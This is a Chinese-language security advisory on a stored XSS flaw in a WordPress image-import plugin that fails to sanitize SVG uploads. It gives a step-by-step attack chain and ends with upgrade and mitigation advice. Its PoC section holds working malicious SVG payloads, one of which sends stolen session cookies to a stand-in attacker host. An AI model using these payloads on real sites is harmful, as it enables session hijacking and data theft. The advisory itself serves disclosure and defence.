CVE-2025-14120 WordPress URL Image Importer插件SVG上传存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-14120

漏洞类型

存储型跨站脚本攻击(Stored XSS)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress URL Image Importer插件

漏洞概述

CVE-2025-14120是WordPress平台URL Image Importer插件的一个安全漏洞。该插件用于从URL导入图片到WordPress网站。漏洞存在于1.0.7及之前所有版本中，原因是插件在处理SVG文件上传时没有对SVG内容进行充分的净化和验证。SVG文件作为一种XML格式的矢量图形文件，可以包含JavaScript代码。当攻击者（具有Author级别权限或更高）上传包含恶意JavaScript代码的SVG文件时，该文件会被存储在服务器上。当其他用户访问这个SVG文件时，嵌入其中的恶意脚本会在其浏览器上下文中执行，可能导致会话劫持、敏感信息窃取、网页篡改等安全问题。由于SVG文件通常被允许上传到媒体库且可能被多个页面引用，此漏洞的影响范围较广。

技术细节

该漏洞的核心问题在于URL Image Importer插件对SVG文件上传缺乏安全验证。SVG（可缩放矢量图形）是一种基于XML的矢量图形格式，支持嵌入JavaScript代码。插件在处理用户上传的SVG文件时，直接将文件内容写入服务器而未进行净化处理。攻击者可以构造包含<script>标签或事件处理器（如onload、onerror等）的SVG文件，利用XML解析特性绕过部分过滤机制。由于WordPress的媒体库功能允许直接访问上传的文件路径，恶意SVG文件可以通过直接URL访问触发执行。攻击者需要具有Author角色权限（PR:L）即可利用此漏洞，在任何引用该SVG文件的页面中注入恶意脚本。CVSS向量显示攻击复杂度低（AC:L），无需用户交互（UI:N），但影响范围限于机密性和完整性（C:L/I:L），可用性无影响（A:N）。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标网站使用的WordPress版本，并确认安装了URL Image Importer插件且版本≤1.0.7

STEP 2

步骤2: 获取访问权限

攻击者获取WordPress Author级别或更高权限的账户，可以通过社会工程学、密码爆破或利用其他漏洞获取

STEP 3

步骤3: 构造恶意SVG文件

攻击者创建包含恶意JavaScript代码的SVG文件，利用<script>标签或事件处理器属性（如onload、onerror）注入XSS payload

STEP 4

步骤4: 上传恶意文件

通过URL Image Importer插件的上传功能将恶意SVG文件上传到WordPress媒体库，插件未对SVG内容进行净化处理

STEP 5

步骤5: 触发XSS执行

当其他用户访问该SVG文件的直接URL或在页面中引用该图片时，恶意JavaScript代码在其浏览器上下文中执行

STEP 6

步骤6: 窃取敏感信息

攻击者通过JavaScript代码窃取用户会话cookie、劫持账户、执行未授权操作或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-14120 PoC: Malicious SVG file for XSS -->
<!-- Upload this SVG file through URL Image Importer plugin -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <script type="text/javascript">
    // Steal session cookies and send to attacker server
    var stolen_data = document.cookie;
    var attacker_server = "https://attacker.com/steal?data=" + encodeURIComponent(stolen_data);
    fetch(attacker_server);
    
    // Alternative: DOM-based XSS payload
    document.body.innerHTML = '<h1>XSS Executed</h1><p>Session hijacking possible</p>';
  </script>
</svg>

<!-- Alternative payload using XML entity encoding -->
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(document.domain)">
    <animate attributeName="href" values="javascript:alert(document.cookie)"/>
    <text x="0" y="20">Click me</text>
  </a>
</svg>

影响范围

URL Image Importer插件 ≤ 1.0.7（所有版本）

防御指南

临时缓解措施

立即将URL Image Importer插件升级到1.0.8或最新版本。如果无法立即升级，可以暂时禁用该插件，或在Web服务器层面配置禁止访问上传目录中的.svg文件。同时应审查近期上传的SVG文件，删除可疑文件。建议启用Web应用防火墙规则检测和阻止包含恶意代码的SVG文件上传。